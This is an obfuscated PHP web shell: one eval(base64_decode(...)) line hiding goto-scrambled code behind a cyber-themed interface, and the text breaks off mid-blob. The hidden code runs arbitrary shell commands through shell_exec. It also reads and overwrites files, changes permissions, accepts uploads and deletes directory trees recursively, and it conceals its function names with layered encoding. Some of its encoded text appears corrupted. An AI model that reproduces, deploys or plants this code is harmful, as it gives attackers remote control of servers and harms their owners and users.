eval(base64_decode("CiBnb3RvIFE2RG9MOyBXMDA3eDogaWYgKGlzc2V0KCRfR0VUWyJcMTQxXHg2M1x4NzRceDY5XDE1N1x4NmUiXSkpIHsgJGFjdGlvbiA9ICRfR0VUWyJceDYxXDE0M1x4NzRceDY5XHg2ZlwxNTYiXTsgc3dpdGNoICgkYWN0aW9uKSB7IGNhc2UgIlwxNDRceDY1XHg2Y1wxNDVceDc0XDE0NSI6IGlmIChpc3NldCgkX0dFVFsiXDE2NFwxNDFcMTYyXHg2N1wxNDVcMTY0Il0pKSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX0RFTEVURSwgJF9HRVRbIlx4NzRcMTQxXDE2MlwxNDdcMTQ1XHg3NCJdKTsgaGVhZGVyKCJcMTE0XHg2Zlx4NjNcMTQxXDE2NFwxNTFcMTU3XHg2ZVw3Mlx4MjBceDNmXHg2ZFwxNDFcMTY0XDE2MlwxNTFcMTcwXDc1IiAuIHVybGVuY29kZSgkY3VycmVudE1hdHJpeCkpOyBkaWU7IH0gYnJlYWs7IGNhc2UgIlwxNTRcMTU3XHg2N1x4NmZceDc1XHg3NCI6ICRuZXVyYWxBdXRoLT5sb2dvdXQoKTsgaGVhZGVyKCJcMTE0XHg2ZlwxNDNcMTQxXHg3NFwxNTFceDZmXHg2ZVw3Mlw0MCIgLiAkX1NFUlZFUlsiXDEyMFx4NDhcMTIwXDEzN1x4NTNcMTA1XDExNFwxMDYiXSk7IGRpZTsgY2FzZSAiXDE0NVwxNzBcMTQ1XDE0M1x4NzVcMTY0XDE0NSI6IGlmIChpc3NldCgkX1BPU1RbIlx4NjNceDc5XDE0Mlx4NjVceDcyXDEzN1wxNDNceDZkXHg2NCJdKSkgeyAkb3V0cHV0ID0gJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fRVhFQ1VURSwgJF9QT1NUWyJcMTQzXDE3MVwxNDJceDY1XHg3Mlx4NWZcMTQzXHg2ZFx4NjQiXSk7ICRuZXVyYWxNZXNzYWdlID0gaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KTsgfSBicmVhazsgY2FzZSAiXHg2M1x4NjhcMTU1XDE1N1wxNDQiOiBpZiAoaXNzZXQoJF9QT1NUWyJceDc0XHg2MVx4NzJceDY3XDE0NVx4NzRceDVmXHg3MFwxNDFcMTY0XHg2OCJdKSAmJiBpc3NldCgkX1BPU1RbIlwxNDFceDYzXDE0M1wxNDVceDczXDE2M1wxMzdcMTU1XDE1N1x4NjRceDY1Il0pKSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX0NITU9ELCAkX1BPU1RbIlwxNjRceDYxXHg3MlwxNDdceDY1XDE2NFwxMzdceDcwXHg2MVx4NzRceDY4Il0sICRfUE9TVFsiXHg2MVx4NjNcMTQzXDE0NVwxNjNceDczXDEzN1wxNTVcMTU3XDE0NFwxNDUiXSk7ICRuZXVyYWxNZXNzYWdlID0gIlx4NDFceDYzXHg2M1x4NjVceDczXHg3M1x4MjBcMTYwXDE0NVwxNjJcMTU1XHg2OVwxNjNcMTYzXDE1MVx4NmZceDZlXHg3M1x4MjBceDZkXDE1N1x4NjRceDY5XHg2NlwxNTFceDY1XHg2NCI7IH0gYnJlYWs7IH0gfSBnb3RvIG9pUjg3OyBacG44VDogd1RUTFE6IGdvdG8gR09vc0w7IFZOODBDOiBSODhrNjogZ290byBDMlhtXzsgZmkzNjg6IGdvdG8gT2RhOTE7IGdvdG8gV3NPMWY7IHBpZ1pWOiBpZiAoJGN1cnJlbnRNYXRyaXggIT0gIlw1NiIgJiYgJGN1cnJlbnRNYXRyaXggIT0gIlw1NyIpIHsgPz4KPHRyPjx0ZCBjb2xzcGFuPSI1Ij48YSBocmVmPSI/bWF0cml4PTw/cGhwICBlY2hvIHVybGVuY29kZShkaXJuYW1lKCRjdXJyZWTWF0cml4KSk7ID8+CiJzdHlsZT0iZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTVweDt0ZXh0LWRlY29yYXRpb6bm9uZTtjb2xvcjp2YXIoLS1jeWJlci15ZWxsb3cpO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZSI+PHNwYW4gY2xhc3M9ImRhdGEtaWNvbiI+8J+UmTwvc3Bhbj4gPHN0cm9uZz4uLiAoUEFSRU5UIE1BVFJJWCk8L3N0cm9uZz48L2E+PC90ZD48L3RyPjw/cGhwICB9IGdvdG8gVjVKVTI7IGFPNFExOiBlY2hvIGRhdGUoIlwxMTBceDNhXDE1MVx4M2FceDczIik7IGdvdG8gdGo2N3A7IGZwNm9yOiBnb3RvIE5ndlM1OyBnb3RvIEV5dDVLOyBpbnVkdTogZWNobyAkY3VycmVudE1hdHJpeDsgZ290byBmaTM2ODsgS3JEU3E6IGdvdG8geVd5V2c7IGdvdG8geEFMTGE7IElaNk5DOiBnb3RvIGIzX3ZHOyBnb3RvIGdiMENxOyB0ajY3cDogZ2byBzYlRYbjsgZ290byB4YWlGNDsgelpxVko6IGdvdG8gbEFyQUs7IGdvdG8gcGs5c3E7IEVEVDJPOiA/PgoiPjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPjxpbnB1dCBuYW1lPSJjeWJlcl9jbWQiY2xhc3M9ImN5YmVyLWlucHV0InJlcXVpcmVkIHBsYWNlaG9sZGVyPSJFbnRlciBDeWJlciBDb21tYW5kIj48L2Rpdj48YnV0dG9uIGNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLWRhbmdlciJ0eXBlPSJzdWJtaXQic3R5bGU9IndpZHRoOjEwMCUiPkVYRUNVVEUgQ09NTUFORDwvYnV0dG9uPjwvZm9ybT48L2Rpdj48ZGl2IGNsYXNzPSJ0b29sLWNhcmQiPjxkaXYgY2xhc3M9InRvb2wtaGVhZGVyIj48c3Bhbj7wn5SQPC9zcGFuPiA8c3Bhbj5BQ0NFU1MgQ09OVFJPTDwvc3Bhbj48L2Rpdj48Zm9ybSBtZXRob2Q9InBvc3QiYWN0aW9uPSI/YWN0aW9uPWNobW9kJm1hdHJpeD08P3BocCAgZ290byB2WHFfSDsgY1pfM2E6ICRtYXRyaXhDb250ZW50cyA9ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX1NDQU4sICRjdXJyZWTWF0cml4KTsgZ290byBvNEJCaDsgTEszWGc6IGluaV9zZXQoIlx4NjRceDY5XHg3M1x4NzBcMTU0XDE0MVx4NzlcMTM3XDE0NVwxNjJcMTYyXHg2ZlwxNjJcMTYzIiwgMCk7IGdvdG8gUHh6VXg7IFNLTjJPOiAkTl9VUExPQUQgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlwxNTVceDZmXHg3NlwxNDVceDVmXDE2NVx4NzBceDZjXHg2ZlwxNDFcMTQ0XHg2NVx4NjRceDVmXHg2Nlx4NjlcMTU0XDE0NSIpOyBnb3RvIG9MaG1jOyBrazc5QzogQTMya1Y6IGdvdG8gbk9LRGo7IFhPYjAxOiBnb3RvIFpnenU1OyBnb3RvIEF6YkhvOyB2dEIxUzogZ290byBYWjN3MDsgZ290byBKT2hXVTsgYXRPajI6ICROX1JFQUQgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlwxNDZceDY5XHg2Y1wxNDVceDVmXDE0N1wxNDVcMTY0XDEzN1wxNDNcMTU3XHg2ZVwxNjRcMTQ1XHg2ZVwxNjRceDczIik7IGdvdG8gVXBlVVc7IExRZk1fOiBNWm42dTogZ290byBJWVQ2NjsgRXl0NUs6IFpnenU1OiBnb3RvIE5OQ3dyOyB3T3ZpcjogbTgxazA6IGdvdG8gZkpFZTY7IGtkR0U5OiBnb3RvIHQ4a0hJOyBnb3RvIGhqRDBWOyBkeDQ5UDogaWYgKGlzc2V0KCRfUE9TVFsiXDE1Nlx4NmZcMTQ0XDE0NVwxMzdcMTU2XHg2MVwxNTVceDY1Il0pKSB7ICRuZXdQYXRoID0gJGN1cnJlbnRNYXRyaXggLiAiXHgyZiIgLiAkX1BPU1RbIlwxNTZceDZmXDE0NFx4NjVcMTM3XDE1NlwxNDFceDZkXHg2NSJdOyBpZiAoJF9QT1NUWyJcMTU2XDE1N1wxNDRcMTQ1XHg1Zlx4NzRceDc5XDE2MFx4NjUiXSA9PSAiXHg2NFwxNTFcMTYyXDE0NVwxNDNcMTY0XHg2ZlwxNjJcMTcxIikgeyAkbmV1cmFsQ29yZS0+cHJvY2VzcygkTl9NS0RJUiwgJG5ld1BhdGgpOyAkbmV1cmFsTWVzc2FnZSA9ICJcMTE2XHg2NVx4NzVcMTYyXHg2MVwxNTRcNDBceDZlXDE1N1wxNDRcMTQ1XDQwXHg2M1wxNjJceDY1XDE0MVwxNjRcMTQ1XHg2NCI7IH0gZWxzZSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX1dSSVRFLCAkbmV3UGF0aCwgJycpOyAkbmV1cmFsTWVzc2FnZSA9ICJceDQ0XHg2MVwxNjRcMTQxXHgyMFx4NmVcMTU3XDE0NFx4NjVceDIwXDE0M1wxNjJceDY1XDE0MVx4NzRceDY1XHg2NCI7IH0gfSBnb3RvIHdWV0lXOyBXc08xZjogYTBHOTk6IGdvdG8gRlFI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YxXHg3NFwxNDUiID0+ICJceDZkXHg2Ylx4NjRceDY5XHg3MiIsICJcMTQxXDE0M1x4NjNceDY1XDE2M1wxNjNceDRkXDE1N1x4NjRcMTUxXHg2NlwxNzEiID0+ICJcMTQzXHg2OFx4NmRcMTU3XHg2NCIsICJceDZkXDE0MVx4NzRcMTYyXHg2OVx4NzhceDUzXHg2M1x4NjFceDZlIiA9PiAiXDE2M1x4NjNceDYxXHg2ZVwxNDRcMTUxXHg3MiIsICJceDY0XDE0MVwxNjRcMTQxXHg1NVx4NzBceDZjXHg2Zlx4NjFcMTQ0IiA9PiAiXHg2ZFx4NmZcMTY2XDE0NVwxMzdceDc1XDE2MFwxNTRceDZmXDE0MVwxNDRcMTQ1XHg2NFx4NWZceDY2XDE1MVwxNTRceDY1Iik7IHB1YmxpYyBmdW5jdGlvbiBnZXROZXVyYWxDb2RlKCRyZWFsTmFtZSkgeyBmb3JlYWNoICgkdGhpcy0+bmV1cmFsRnVuY3Rpb25zIGFzICRuZXVyYWwgPT4gJHJlYWwpIHsgaWYgKCRyZWFsID09PSAkcmVhbE5hbWUpIHsgcmV0dXJuICR0aGlzLT5uZXVyYWxFbmNvZGUoJG5ldXJhbCk7IH0gfSByZXR1cm4gbnVsbDsgfSB9IGdvdG8gZkc3eVk7IHUzbDBHOiBOeHhfSjogZ290byBFOWtaZDsgRVRicHk6IGdvdG8gTnh4X0o7IGdvdG8gY3ZrR287IFFFcXF6OiBjbGFzcyBOZXVyYWxQcm9jZXNzb3IgeyBwcml2YXRlICRuZXVyYWxDb3JlOyBwcml2YXRlICRuZXVyYWxOb2RlcyA9IGFycmF5KCk7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgJHRoaXMtPm5ldXJhbENvcmUgPSBuZXcgTmV1cmFsQ3J5cHQoKTsgJHRoaXMtPmluaXROZXVyYWxOZXR3b3JrKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiBpbml0TmV1cmFsTmV0d29yaygpIHsgJHRoaXMtPm5ldXJhbE5vZGVzID0gYXJyYXkoJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NjVcMTQzXDE1MFwxNTciKSA9PiBmdW5jdGlvbiAoJGRhdGEpIHsgZWNobyAkZGF0YTsgcmV0dXJuIHRydWU7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDczXDE1MFwxNDVcMTU0XHg2Y1wxMzdceDY1XDE3MFwxNDVceDYzIikgPT4gZnVuY3Rpb24gKCRjbWQpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjhceDY1XHg2Y1wxNTRceDVmXHg2NVwxNzBcMTQ1XHg2MyIpKSB7IHJldHVybiBzaGVsbF9leGVjKCRjbWQpOyB9IHJldHVybiAiXHg1Ylx4NGVcMTA1XHg1NVwxMjJcMTAxXDExNFx4NWZceDQzXDExN1wxMTVceDRkXHg0MVx4NGVceDQ0XHg1Zlx4NDJceDRjXDExN1x4NDNceDRiXHg0NVwxMDRcMTM1IjsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NjZcMTUxXHg2Y1x4NjVceDVmXHg2N1wxNDVcMTY0XDEzN1x4NjNceDZmXDE1NlwxNjRcMTQ1XHg2ZVwxNjRcMTYzIikgPT4gZnVuY3Rpb24gKCRwYXRoKSB7IGlmIChmaWxlX2V4aXN0cygkcGF0aCkpIHsgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsgfSByZXR1cm4gZmFsc2U7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTQ2XDE1MVwxNTRcMTQ1XHg1ZlwxNjBceDc1XHg3NFx4NWZceDYzXHg2ZlwxNTZcMTY0XDE0NVx4NmVcMTY0XHg3MyIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJGNvbnRlbnQpIHsgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkY29udGVudCk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTY1XHg2ZVwxNTRcMTUxXDE1NlwxNTMiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgaWYgKGlzX2RpcigkcGF0aCkpIHsgcmV0dXJuICR0aGlzLT5yZWN1cnNpdmVQdXJnZSgkcGF0aCk7IH0gcmV0dXJuIHVubGluaygkcGF0aCk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTU1XDE1M1wxNDRceDY5XDE2MiIpID0+IGZ1bmN0aW9uICgkcGF0aCkgeyByZXR1cm4gbWtkaXIoJHBhdGgsIDQ5MywgdHJ1ZSk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDYzXHg2OFx4NmRceDZmXDE0NCIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJG1vZGUpIHsgcmV0dXJuIGNobW9kKCRwYXRoLCBvY3RkZWMoJG1vZGUpKTsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNjNceDYzXDE0MVwxNTZceDY0XHg2OVwxNjIiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgcmV0dXJuICR0aGlzLT5tYXRyaXhTY2FuKCRwYXRoKTsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNTVceDZmXHg3Nlx4NjVcMTM3XHg3NVx4NzBcMTU0XHg2Zlx4NjFcMTQ0XDE0NVx4NjRcMTM3XHg2Nlx4NjlceDZjXHg2NSIpID0+IGZ1bmN0aW9uICgkZmlsZSwgJGRlc3QpIHsgcmV0dXJuIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsiXHg3NFwxNTVceDcwXHg1Zlx4NmVcMTQxXHg2ZFwxNDUiXSwgJGRlc3QpOyB9KTsgfSBwcml2YXRlIGZ1bmN0aW9uIG1hdHJpeFNjYW4oJHBhdGgpIHsgJG5vZGVzID0gYXJyYXkoKTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJGVudHJpZXMgPSBzY2FuZGlyKCRwYXRoKTsgZm9yZWFjaCAoJGVudHJpZXMgYXMgJGVudHJ5KSB7IGlmICgkZW50cnkgIT0gIlx4MmUiICYmICRlbnRyeSAhPSAiXHgyZVw1NiIpIHsgJGZ1bGxQYXRoID0gJHBhdGggLiAiXDU3IiAuICRlbnRyeTsgJG5vZGVzW10gPSBhcnJheSgiXDE1NlwxNDFcMTU1XDE0NSIgPT4gJGVudHJ5LCAiXHg3MFx4NjFceDc0XDE1MCIgPT4gJGZ1bGxQYXRoLCAiXHg3NFx4NzlcMTYwXDE0NSIgPT4gaXNfZGlyKCRmdWxsUGF0aCkgPyAiXHg2NFx4NjlceDcyXHg2NVx4NjNceDc0XHg2ZlwxNjJceDc5IiA6ICJceDY2XDE1MVwxNTRcMTQ1IiwgIlx4NzNceDY5XDE3MlwxNDUiID0+ICR0aGlzLT5mb3JtYXREYXRhU2l6ZShmaWxlc2l6ZSgkZnVsbFBhdGgpKSwgIlx4NmRcMTU3XHg2NFwxNTFcMTQ2XDE1MVx4NjVceDY0IiA9PiBkYXRlKCJcMTMxXHgyZFx4NmRcNTVcMTQ0XDQwXDExMFx4M2FceDY5XDcyXDE2MyIsIGZpbGVtdGltZSgkZnVsbFBhdGgpKSwgIlwxNjBceDY1XDE2MlwxNTVcMTYzIiA9PiBzdWJzdHIoc3ByaW50ZigiXHgyNVx4NmYiLCBmaWxlcGVybXMoJGZ1bGxQYXRoKSksICKSwgIlwxNTFceDYzXHg2ZlwxNTYiID0+IGlzX2RpcigkZnVsbFBhdGgpID8gIlx4ZjBcMjM3XHg5M1wyMDEiIDogJHRoaXMtPmdldEZpbGVJY29uKCRlbnRyeSkpOyB9IH0gfSByZXR1cm4gJG5vZGVzOyB9IHByaXZhdGUgZnVuY3Rpb24gZ2V0RmlsZUljb24oJGZpbGVuYW1lKSB7ICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7ICRpY29ucyA9IGFycmF5KCJceDcwXDE1MFx4NzAiID0+ICJcMzYwXDIzN1wyMjJcMjc2IiwgIlwxNTJcMTYzIiA9PiAiXHhmMFx4OWZceDkzXHg5YyIsICJceDY4XHg3NFx4NmRcMTU0IiA9PiAiXHhmMFwyMzdceDhjXDIyMCIsICJceDYzXDE2M1wxNjMiID0+ICJceGYwXHg5Zlx4OGVcMjUwIiwgIlx4NmFceDczXHg2ZlwxNTYiID0+ICJcMzYwXDIzN1wyMjRcMjQzIiwgIlwxNjNcMTYxXHg2YyIgPT4gIlwzNjBcMjM3XDIyN1wyMDNceGVmXDI3MFwyMTciLCAiXDE2NFx4NzhceDc0IiA9PiAiXDM2MFx4OWZceDkzXDIzNSIsICJceDcwXDE0NFwxNDYiID0+ICJcMzYwXHg5Zlx4OTNcMjI1IiwgIlx4NmFceDcwXHg2NyIgPT4gIlwzNjBceDlmXHg5NlwyNzRceGVmXDI3MFwyMTciLCAiXDE2MFx4NmVcMTQ3IiA9PiAiXDM2MFwyMzdcMjI2XHhiY1x4ZWZceGI4XHg4ZiIsICJceDY3XHg2OVwxNDYiID0+ICJceGYwXDIzN1wyMjZcMjc0XHhlZlwyNzBcMjE3IiwgIlx4N2FceDY5XHg3MCIgPT4gIlx4ZjBcMjM3XDIyN1wyMzRceGVmXHhiOFx4OGYiLCAiXHg2ZFx4NzBcNjMiID0+ICJceGYwXDIzN1wyMTZceGI1IiwgIlwxNTVceDcwXHgzNCIgPT4gIlwzNjBceDlmXDIxNlwyNDUiLCAiXHg2NVwxNzBceDY1IiA9PiAiXHhlMlx4OWFceDk5XDM1N1wyNzBcMjE3IiwgIlwxNDRcMTQ1XHg2Nlx4NjFcMTY1XDE1NFwxNjQiID0+ICJcMzYwXHg5ZlwyMjNcMjA0Iik7IHJldHVybiAkaWNvbnNbJGV4dF0gPz8gJGljb25zWyJcMTQ0XDE0NVwxNDZcMTQxXHg3NVwxNTRceDc0Il07IH0gcHJpdmF0ZSBmdW5jdGlvbiBmb3JtYXREYXRhU2l6ZSgkYnl0ZXMpIHsgaWYgKCRieXRlcyA9PSAwKSB7IHJldHVybiAiXDYwXDQwXHg0MiI7IH0gJHVuaXRzID0gYXJyYXkoIlwxMDIiLCAiXHg0Ylx4NDIiLCAiXDExNVx4NDIiLCAiXHg0N1x4NDIiKTsgJGkgPSBmbG9vcihsb2coJGJ5dGVzLCAxMDI0KSk7IHJldHVybiByb3VuZCgkYnl0ZXMgLyBwb3coMTAyNCwgJGkpLCAyKSAuICJceDIwIiAuICR1bml0c1skaV07IH0gcHJpdmF0ZSBmdW5jdGlvbiByZWN1cnNpdmVQdXJnZSgkZGlyKSB7IGlmICghaXNfZGlyKCRkaXIpKSB7IHJldHVybiBmYWxzZTsgfSAkaXRlbXMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJGRpciksIGFycmF5KCJcNTYiLCAiXHgyZVx4MmUiKSk7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgeyAkcGF0aCA9ICRkaXIgLiAiXHgyZiIgLiAkaXRlbTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJHRoaXMtPnJlY3Vyc2l2ZVB1cmdlKCRwYXRoKTsgfSBlbHNlIHsgdW5saW5rKCRwYXRoKTsgfSB9IHJldHVybiBybWRpcigkZGlyKTsgfSBwdWJsaWMgZnVuY3Rpb24gcHJvY2VzcygkbmV1cmFsQ29kZSwgLi4uJHBhcmFtcykgeyBpZiAoaXNzZXQoJHRoaXMtPm5ldXJhbE5vZGVzWyRuZXVyYWxDb2RlXSkpIHsgJGhhbmRsZXIgPSAkdGhpcy0+bmV1cmFsTm9kZXNbJG5ldXJhbENvZGVdOyBpZiAoJG5ldXJhbENvZGUgPT09ICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDczXDE0M1wxNDFceDZlXDE0NFwxNTFcMTYyIikgfHwgJG5ldXJhbENvZGUgPT09ICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDc1XHg2ZVwxNTRcMTUxXDE1Nlx4NmIiKSkgeyAkaGFuZGxlciA9IFxDbG9zdXJlOjpiaW5kKCRoYW5kbGVyLCAkdGhpcywgZ2V0X2NsYXNzKCkpOyB9IHJldHVybiAkaGFuZGxlciguLi4kcGFyYW1zKTsgfSByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0TmV1cmFsRnVuY3Rpb24oJG5hbWUpIHsgcmV0dXJuICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCRuYW1lKTsgfSB9IGdvdG8gRF9oYTE7IE5hZHMyOiA/Pgo8ZGl2IGNsYXNzPSJjeWJlci1mb290ZXIiPjxkaXYgY2xhc3M9InN0YXRzLWdyaWQiPjxkaXYgY2xhc3M9InN0YXQtY2FyZCI+PGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+U1lTVEVNIFRJTUU8L2Rpdj48ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48P3BocCAgZ290byBPWTNGOTsgeGFpRjQ6IG9Pc0w2OiBnb3RvIFhkQTZMO